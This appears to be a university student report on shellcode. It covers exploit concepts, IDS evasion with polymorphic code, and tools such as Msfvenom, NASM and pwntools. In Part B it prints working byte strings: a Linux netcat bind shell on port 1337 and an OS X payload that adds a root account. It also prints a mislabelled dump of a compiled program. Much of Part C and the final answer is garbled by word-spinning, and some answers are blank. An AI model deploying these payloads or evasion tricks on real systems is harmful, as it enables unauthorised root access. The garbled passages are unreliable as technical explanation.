Shellcode in Cybersecurity: Technical Report, University Name

This technical report delves into the intricacies of shellcode within the realm of cybersecurity. The report begins by examining the fundamental concepts of shellcode, including attack vectors, exploitation techniques, and exploit payloads, and explores how these elements contribute to system vulnerabilities. It then investigates the role of Intrusion Detection Systems (IDS) and how shellcode utilizes mutation techniques to bypass these security measures. Furthermore, the report analyzes the function of the program counter in the context of operating systems and discusses the challenges associated with remote transplanted shellcode. The report also presents and explains two distinct shellcodes, one designed to bind a victim system to a hacker using the Netcat utility and another to add a root user in OS X, and discusses their functionality. The report then shifts focus to the application of shellcode, analyzing the Metasploit demo and comparing various shellcode creation methodologies such as Msfvenom, NASM, and PWN, along with their respective advantages and disadvantages. Finally, the report addresses the evolution of security tools and the use of polymorphic shellcodes to evade pattern matching by IDS, offering a comprehensive overview of shellcode's role in exploitation and mitigation within cybersecurity.

Running head: SHELLCODE IN CYBERSECURITY
Shellcode in Cybersecurity
Name of the Student
Name of the University
Author’s Note

1SHELLCODE IN CYBERSECURITY
Part A: Shellcode in Literature
Answer to question number 1
The exploitation of a system often occurs from the side of the attacker however,
the software or system that will come across any type of software bugs or errors can only be
exploited. Therefore, it is quite important for the software developer to copy the requirement
from the network properly. There are a number of exploit tools that seems quite beneficial when
a particular software is targeted for achieving the data. This is mainly done by reflecting the
attackers about the flaws of the system that further helps in making the task much easier [5].
Thus, it is identified that an exploit would initially target the weaker points within the system and
further copes with the operational characteristics and features of the system. The factors that are
helpful for exploiting the system are mainly elaborated below:
Attack vector: An attack vector is referred as a mechanism that is utilized by the exploit
for making proper vulnerability-based manifest. With the presence of software flaws, there are a
number of actions which are needed for reaching and triggering the buggy section within the
program [4]. A type of software bug that helps to illustrate the entire concept is called as the
Secure Socket Layer Private Communication Technology, i.e mainly discovered with the help of
the X-Force team of Internet Security System. The bug is considered as one of the buffers that
generally overflows the entire condition within the Microsoft Library that further helps in
implementing the SSL socket.
Exploitation technique: An exploitation technique may be defined as one of the
algorithms that use exploits for altering the execution flow of the vulnerable program for
yielding proper control on the attacker. In order to successfully, exploit a software bug, it is quite

2SHELLCODE IN CYBERSECURITY
important for the attacker to found out valid attack vector however it also helps in devising
proper technique in order to modify the flow of execution and for effectively running the
commands of the attacker within the system.
Exploit payload: After the vulnerable program is being controlled, it is seized with the
help of an exploit by successfully exploiting and triggering a bug, then it performs a number of
activities for achieving the goal of the writer. This is considered as the place when the exploit
payload enters, and it is found as the proper functional component which further assists in
implementing the desired purpose of the exploit [3]. In addition to this, the appearance of a new
breed that is associated with exploit payloads generally helps in coupling with a number of
failures in order to stop as well as contain a number of automated attacks such that the enhanced
popularity of IPS is helpful in detecting as well as preventing exploitation related with software
bugs.
Answer to question number 2
The main objective of IDS (Intrusion Detection System) is to properly detect different
types of unintended intrusions that generally attack either a digital resource or a computer inside
the network that is targeted.
Mutation technique is mainly utilized by the Shellcode to bypass a deployed IDS. With
the help of mutation technique, a piece of shellcode gets encoded, which is further intended in
order to exploit a system from the exposed vulnerability with one specific polymorphic form. It
is found that an IPS helps in detecting different types of shellcode by successfully matching the
extracted signature from a few of the specific variant of the shellcode.

3SHELLCODE IN CYBERSECURITY
Actual shellcode can be changed by the attacker by setting different types of instructions
which will further be helpful in carrying out the same type of functions and operations in
comparison to the actual shellcode.
Example: It is found that modifications within the shellcode can be done with the
utilization of "nop” instruction for making the shellcode look quite different and for changing the
signature such that the IDS system can be able to recognize the modifications within the code
properly and can be further utilized for the purpose of exploitation. It is identified that
instructions like mov, eax, 0x2 can simply move the value of 0x2 into eax [1]. In addition to this,
the same type of functionality can be achieved by utilizing xor, eax, eax. Due to a number of
changes within the instructions, the shellcode signature can get changed, and therefore, it does
not appear or get detected is considered as one of the elaborated polymorphic forms. Thus, the
deployed IPS will not be able to detect it.
A lot of technology is helpful in successfully mutating a shellcode that further makes the
polymorphic code detection as one of the trickier tasks. For any of the deployed IPS, it is very
much necessary to decrypt the encrypted shellcode such that it can be successfully compared
with the help of the original signature [6]. In addition to this, the IPS can be helpful in effectively
emulating code execution with the utilization of sandbox for successful execution such that the
results related to the malicious code behaviour can be identified easily.
Answer to question number 3
In context to an operating system, it is found that a PC that is known as program
counter is considered as a register that is mainly used by the processor within a computer that
further helps in holding the instruction address which needs to be executed next within the

4SHELLCODE IN CYBERSECURITY
queue. Moreover, the value of the programmable logic array is helpful in updating the PC value
such that it can be able to point to different instruction that is needed to be executed within the
entire execution cycle. After the execution of each instruction by the help of the processor, it is
found that the program counter value gets automatically incremented [4]. The program counter
also comprises of values which are dictated from proper instruction from "BRANCH" comes on
the computer.
Answer to question number 4
The major challenge that is faced in the remote transplanted shellcode is because of the
difficulty that is mainly faced in separating the shellcode from other segments of the utilized
exploit. This type of challenge is mainly faced as there is not a properly defined boundary that
can be able to separate one exploits from the other. In addition to this, the other challenge that is
faced is because the shellcode is constructed with the help of non-trivial data transformation [5].
This further can include the bytes that further helps in representing the original shellcode that
could further help in separating the specific shellcode that is exploited. Thus, changing and
rewriting the bytes to for replacing the shell can generally change to non-trivial.

5SHELLCODE IN CYBERSECURITY
Part B

6SHELLCODE IN CYBERSECURITY

7SHELLCODE IN CYBERSECURITY
The generated shellcode is
\x53\x83\xec\x08\xe8\xef\x00\x00\x00\x81\xc3\x0f\x16\x00\x00\x8b\x83\xfc\xff\xff\xff\x85\
xc0\x74\x05\xe8\x9a\x00\x00\x00\x83\xc4\x08\x5b\xc3\xff\x35\x84\x99\x04\x08\xff\x25\x88\
x99\x04\x08\x00\x00\xff\x25\x8c\x99\x04\x08\x68\x00\x00\x00\x00\xe9\xe0\xff\xff\xff\xff\
x25\x90\x99\x04\x08\x68\x08\x00\x00\x00\xe9\xd0\xff\xff
\xff\xff\x25\x94\x99\x04\x08\x68\x10\x00\x00\x00\xe9\xc0\xff\xff\xff\xff\x25\x98\x99\
x04\x08\x68\x18\x00\x00\x00\xe9\xb0\xff\xff\xff\xff\x25\x9c\x99\x04\x08\x68\x20\x00\x00\
x00\xe9\xa0\xff\xff\xff\xff\x25\xa0\x99\x04\x08\x68\x28\x00\x00\x00\xe9\x90\xff\xff\xff\xff\
x25\xa4\x99\x04\x08\x68\x30\x00\x00\x00\xe9\x80\xff\xff\xff\xff\x25\xa8\x99\x04\x08\x68\

8SHELLCODE IN CYBERSECURITY
x38\x00\x00\x00\xe9\x70\xff\xff\xff\xff\x25\x7c\x99\x04\x08\x66\x90\x31\xed\x5e\x89\xe1\
x83\xe4\xf0\x50\x54\x52\x68\xc0\x86\x04\x08\x68\x60\x86\x04\x08\x51\x56\x68\x2b\x85\x04\
x08\xe8\x8f\xff\xff\xff\xf4\x66\x90\x66\x90\x66\x90\x66\x90\x66\x90\x66\x90\x66\x90\x8b\
x1c\x24\xc3\x66\x90\x66\x90\x66\x90\x66\x90\x66\x90\x66\x90\xb8\xb7\x99\x04\x08\x2d\xb4\
x99\x04\x08\x83\xf8\x06\x76\x1a\xb8\x00\x00\x00\x00\x85\xc0\x74\x11\x55\x89\xe5\x83\xec\
x14\x68\xb4\x99\x04\x08\xff\xd0\x83\xc4\x10\xc9\xf3\xc3\x90\x8d\x74\x26\x00\xb8\xb4\x99\
x04\x08\x2d\xb4\x99\x04\x08\xc1\xf8\x02\x89\xc2\xc1\xea\x1f\x01\xd0\xd1\xf8\x74\x1b\xba\
x00\x00\x00\x00\x85\xd2\x74\x12\x55\x89\xe5\x83\xec\x10\x50\x68\xb4\x99\x04\x08\xff\xd2\
x83\xc4\x10\xc9\xf3\xc3\x8d\x74\x26\x00\x8d\xbc\x27\x00\x00\x00\x00\x80\x3d\xb4\x99\x04\
x08\x00\x75\x13\x55\x89\xe5\x83\xec\x08\xe8\x7c\xff\xff\xff\xc6\x05\xb4\x99\x04\x08\x01\
xc9\xf3\xc3\x66\x90\xb8\x90\x98\x04\x08\x8b\x10\x85\xd2\x75\x05\xeb\x93\x8d\x76\x00\xba\
x00\x00\x00\x00\x85\xd2\x74\xf2\x55\x89\xe5\x83\xec\x14\x50\xff\xd2\x83\xc4\x10\xc9\xe9\
x75\xff\xff\xff\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x81\xec\x34\x01\x00\
x00\x83\xec\x08\x68\xe0\x86\x04\x08\x68\xe2\x86\x04\x08\xe8\x9f\xfe\xff\xff\x83\xc4\x10\
x89\x45\xf4\x83\x7d\xf4\x00\x75\x1a\x83\xec\x0c\x68\xeb\x86\x04\x08\xe8\x46\xfe\xff\xff\
x83\xc4\x10\xb8\x01\x00\x00\x00\xe9\xd9\x00\x00\x00
Shellcode 1:
\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63
\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62
\x69\x6e\x2f\x73\x68\x48\xc1\xe9\x08\x51\x48\x89\xe1
\x48\xbb\xff\xff\xff\xff\xff\xff\x2d\x65\x48\xc1\xeb
\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31\x33

9SHELLCODE IN CYBERSECURITY
\x33\x37\x49\xc1\xea\x20\x41\x52\x49\x89\xe2\x49\xb9
\xff\xff\xff\xff\xff\xff\x2d\x70\x49\xc1\xe9\x30\x41
\x51\x49\x89\xe1\x49\xb8\xff\xff\xff\xff\xff\xff\x2d
\x6c\x49\xc1\xe8\x30\x41\x50\x49\x89\xe0\x52\x51\x53
\x41\x52\x41\x51\x41\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
The first shell code can help the attackers to bind victim system with the hackers by
utilizing the netcat Linux utility. The Netcat utility tool is helpful in getting read and write data
on the systems that are available inside network through the utilization of TCP /UDP protocol.
This tool which may be used in system calls or custom scripts used by the attackers.
Shellcode 2:
\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7d\x48\x02\xa6\x3b\xea\x01\x70
\x39\x60\x01\x70\x39\x1f\xff\x0d\x7c\xa8\x29\xae\x38\x7f\xff\x04
\x38\x80\x02\x01\x38\xa0\xff\xff\x38\x0b\xfe\x95\x44\xff\xff\x02
\x60\x60\x60\x60\x38\x9f\xff\x0e\x38\xab\xfe\xe5\x38\x0b\xfe\x94
\x44\xff\xff\x02\x60\x60\x60\x60\x38\x0b\xfe\x96\x44\xff\xff\x02
\x60\x60\x60\x60\x7c\xa5\x2a\x79\x38\x7f\xff\x04\x90\x61\xff\xf8
\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x0b\xfe\xcb\x44\xff\xff\x02
\x60\x60\x60\x60\x38\x0b\xfe\x91\x44\xff\xff\x02\x2f\x74\x6d\x70
\x2f\x78\x2e\x73\x68\x58\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68\x0a

10SHELLCODE IN CYBERSECURITY
\x2f\x62\x69\x6e\x2f\x65\x63\x68\x6f\x20\x27\x72\x30\x30\x74\x3a
\x3a\x39\x39\x39\x3a\x38\x30\x3a\x3a\x30\x3a\x30\x3a\x72\x30\x30
\x74\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x27\x20\x7c\x20\x2f
\x75\x73\x72\x2f\x62\x69\x6e\x2f\x6e\x69\x6c\x6f\x61\x64\x20\x2d
\x6d\x20\x70\x61\x73\x73\x77\x64\x20\x2e\x0a
The second shell code is adding a Root User in the OS X operating system targeted
system.
Part C: Shellcode in Application
Answer to question number 1
In the video that is given a legitimate clarification about each direction that is utilized
inside the Metasploit demo is reflected. It is discovered that in the video, "Switch tcp" shell-
based code was fundamentally utilized. The code of Reverse TCP shell works very like the shell
authoritative for misusing the windows working framework. In setting to the tough situation
shell, it is discovered that they enable the aggressor to need to get legitimate access to the PC on
the system.
In this way, the real contrast that is reflected in Reverse tcp shell, just as tie shell in
setting to the misuse of tie shell, is that the assailants will permit tuning in on an alternate abused
port for the remote host. Nonetheless, it is discovered that in turn around tcp shell, a shell gets
embedded on the guidance of the injured individual for associating back with the assailant

11SHELLCODE IN CYBERSECURITY
framework [6]. This sort of shellcode is principally useful in getting legitimate responsibility for
whole shell strategy for executing the whole framework call.
Answer to question number 2
Answer to question number 3
The distinctive shell code creating methodologies are given underneath, which are
additionally contrasted and the focal points and detriments from the assailant's perspective.
Msfvenom: It is likewise a device that aides in creating shellcodes. The primary bit of
leeway of using this specific shellcode is that the clients do not need to compose their codes
unequivocally, yet they can utilize the pre-characterized shell codes which are observed to be

12SHELLCODE IN CYBERSECURITY
reasonable for an OS stage [2]. Besides, the apparatus is additionally useful in giving '- - awful
scorches', where the clients need to evacuate a portion of the particular bytes.
NASM: It is one of the productive and significant instruments that are valuable in making
shellcodes for legitimate misuse is by composing the shellcode effectively in low level
computing construct with the assistance of NASM device. This instrument is found as an
x86/x86_64 constructing agent that is advantageous for the advancement of the shellcodes [2].
On the downsides of this specific apparatus is that an individual cannot compose the shellcode
for an alternate design. Additionally, it is very critical to know the low level computing construct
so as to plan the shellcode appropriately with the end goal of abuse.
PWN: pwntools is characterized as the CTF system and Exploit Development library.
This particular apparatus is for the most part created with the assistance of python programming,
and it is predominantly intended for appropriate prototyping just as the fruitful improvement of
various sorts of endeavors. What's more, this particular apparatus is useful in endeavor
composing for making it as basic as could be expected under the circumstances. It is considered
as one of the huge systems, despite the fact that the clients of this device spread mindfulness
around one significant component that is known as shell make. This module helps the clients
recorded as a hard copy the whole shellcode effectively inside the get together code.
Answer to address number 4
There is an expansion in the evolvement of the system security instruments lately because
of the augmentation in the various kinds of worms just as infections, and in this manner
Polymorphic rendition of the shellcodes are useful in focusing so as to crush the example or
attempt the task of mark coordinating with the assistance of IDS [2]. In setting to the

13SHELLCODE IN CYBERSECURITY
polymorphic code, it is recognized that the malevolent guidance is supplanted by the aggressor
with equal other guidance. Moreover, the expansion of various sorts of trash guidelines will for
the most part not change the usefulness of the shell code. In any case, it for the most part makes a
wreck for the whole AV examination.
Metasploit principally completes an assessment that is known as automated vulnerability
testing inside the network. In addition, in the present situation, Metasploit by and large turns out
as the most significant and further they go about as an apparatus that aides in appropriately
shielding just as doing the appraisal. Also, this specific device is basically used by the assailants
for ID and misuse of the frail purposes of the association on which they can get abused with the
use of Metasploit of a helpless framework.

14SHELLCODE IN CYBERSECURITY
References
[1]K. Iwamoto and K. Wasaki, "A Method for Shellcode Extractionfrom Malicious
Document Files Using Entropy and Emulation", International Journal of Engineering and
Technology, vol. 8, no. 2, pp. 101-106, 2016. Available: 10.7763/ijet.2016.v6.866.
[2]T. Okamoto, "SecondDEP: Resilient Computing that Prevents Shellcode Execution in
Cyber-Attacks", Procedia Computer Science, vol. 60, pp. 691-699, 2015. Available:
10.1016/j.procs.2015.08.211.
[3]X. Yue, X. Mo and C. Wang, "Research on the Evaluation of the Effectiveness of the
Algorithm Based on Shellcode Code Analysis and Exploit Module Attack", DEStech
Transactions on Engineering and Technology Research, no., 2016. Available:
10.12783/dtetr/iect2016/3740.
[4]T. Cheng, Y. Lin, Y. Lai and P. Lin, "Evasion Techniques: Sneaking through Your
Intrusion Detection/Prevention Systems", IEEE Communications Surveys & Tutorials, vol. 14,
no. 4, pp. 1011-1020, 2012. Available: 10.1109/surv.2011.092311.00082.
[5]J. Mason, S. Small, F. Monrose and G. MacManus, "English shellcode", Proceedings
of the 16th ACM conference on Computer and communications security - CCS '09, 2009.
Available: 10.1145/1653662.1653725 [Accessed 31 July 2019].
[6]T. Bao, R. Wang, Y. Shoshitaishvili and D. Brumley, "Your Exploit is Mine:
Automatic Shellcode Transplant for Remote Exploits", 2017 IEEE Symposium on Security and
Privacy (SP), 2017. Available: 10.1109/sp.2017.67 [Accessed 31 July 2019].

15SHELLCODE IN CYBERSECURITY